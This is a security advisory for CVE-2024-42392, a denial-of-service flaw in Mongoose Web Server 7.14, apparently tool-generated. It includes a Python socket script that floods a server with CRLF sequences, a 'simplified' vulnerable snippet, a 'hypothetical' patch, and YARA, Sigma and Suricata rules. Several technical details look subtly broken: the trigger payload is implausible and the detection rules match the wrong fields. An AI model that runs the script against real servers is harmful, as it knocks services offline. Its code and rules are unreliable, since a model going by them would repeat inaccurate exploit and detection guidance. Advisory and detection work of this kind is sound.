CVE-2024-42392

Executive Summary

CVE-2024-42392 is a medium-severity vulnerability (CVSS 4.0) in Cesanta Mongoose Web Server v7.14. The flaw lies in improper neutralization of delimiters, allowing an attacker to trigger an infinite loop by sending a crafted input string containing unexpected characters. This leads to a denial of service (DoS) condition, consuming CPU resources and potentially crashing the server. No public proof-of-concept (PoC) or patch is currently available, but the vulnerability is exploitable remotely without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 4.0 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: Low (A:L) – causes degraded performance or crash.

Threat Level: Medium. The vulnerability is easy to exploit but only results in denial of service, not data compromise.

Deep Dive & Mechanics

The vulnerability resides in the HTTP request parsing logic of Mongoose Web Server v7.14. The server fails to properly sanitize or validate delimiter characters (e.g., CR, LF, or other control characters) in incoming requests. When a specially crafted string with unexpected delimiters is sent, the parser enters an infinite loop, consuming 100% CPU and preventing the server from processing legitimate requests.

Root Cause: The parsing loop does not handle edge cases where delimiters appear in unexpected positions or sequences. For example, a request with multiple consecutive CRLF sequences or malformed headers can cause the parser to repeatedly attempt to find a valid delimiter without making progress.

Attack Vector: An unauthenticated attacker sends a single HTTP request with malformed delimiter characters to the server. The server hangs indefinitely until manually restarted or killed.

Vulnerable vs. Patched Code

Vulnerable Code (v7.14):

// Simplified vulnerable parsing loop
while (buf[i] != '\n' && buf[i] != '\r') {
    // Process header
    i++;
}
// No check for unexpected characters or infinite loop prevention

Patched Code (hypothetical):

// Patched version with bounds checking and delimiter validation
int max_iter = 10000;
while (i < buf_len && max_iter-- > 0) {
    if (buf[i] == '\n' || buf[i] == '\r') {
        break;
    }
    // Process header
    i++;
}
if (max_iter <= 0) {
    // Handle malformed input
    return -1;
}

The patch adds a maximum iteration counter and bounds checking to prevent infinite loops.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Install Mongoose Web Server v7.14 on a Linux VM.
2. Start the server on port 8080.
3. Use netcat or a custom script to send a malformed request.

Exploit Script (Python):

import socket

target = "192.168.1.100"
port = 8080

# Craft a request with unexpected delimiters
payload = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n\r\n\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(payload)
# Server enters infinite loop
sock.close()

Expected Outcome: The server becomes unresponsive. CPU usage spikes to 100%.

Blue Team (Defense & Detection)

Mitigation Steps:

1. Apply rate limiting to incoming connections.
2. Use a reverse proxy (e.g., Nginx) to filter malformed requests.
3. Monitor CPU usage and restart the service if anomalies are detected.

Detection:

• Monitor logs for repeated connection attempts with malformed headers.
• Use network intrusion detection systems (NIDS) to flag requests with excessive CRLF sequences.

Indicators of Compromise (IOCs)

• Network: HTTP requests with multiple consecutive CRLF sequences (e.g., \r\n\r\n\r\n\r\n).
• System: High CPU usage (100%) on the Mongoose process.
• Logs: Repeated "Connection reset by peer" or "Timeout" errors in server logs.
• File: No file-based IOCs; purely memory/CPU-based.

Detection Engineering

YARA Rule

rule CVE_2024_42392_Mongoose_DoS {
    meta:
        description = "Detects malformed HTTP requests targeting CVE-2024-42392"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42392"
    strings:
        $crlf_chain = /\r\n\r\n\r\n\r\n/
        $malformed_header = /[^\r\n]+\r\n\r\n[^\r\n]+\r\n\r\n/
    condition:
        $crlf_chain or $malformed_header
}

Sigma Rule

title: CVE-2024-42392 Mongoose DoS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with excessive CRLF sequences targeting Mongoose Web Server
author: Valters IT
logsource:
    category: webserver
    product: mongoose
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '\r\n\r\n\r\n\r\n'
    condition: selection
falsepositives:
    - Legitimate requests with multiple headers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42392 Mongoose DoS Attempt"; flow:to_server; content:"|0d 0a 0d 0a 0d 0a 0d 0a|"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict network access to the Mongoose server using firewall rules.
2. Short-term: Implement input validation to reject malformed requests at the application layer.
3. Long-term: Upgrade to a patched version of Mongoose once available. Monitor the Cesanta GitHub repository for updates.
4. Workaround: Use a reverse proxy (e.g., Nginx) to sanitize incoming requests before forwarding to Mongoose.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.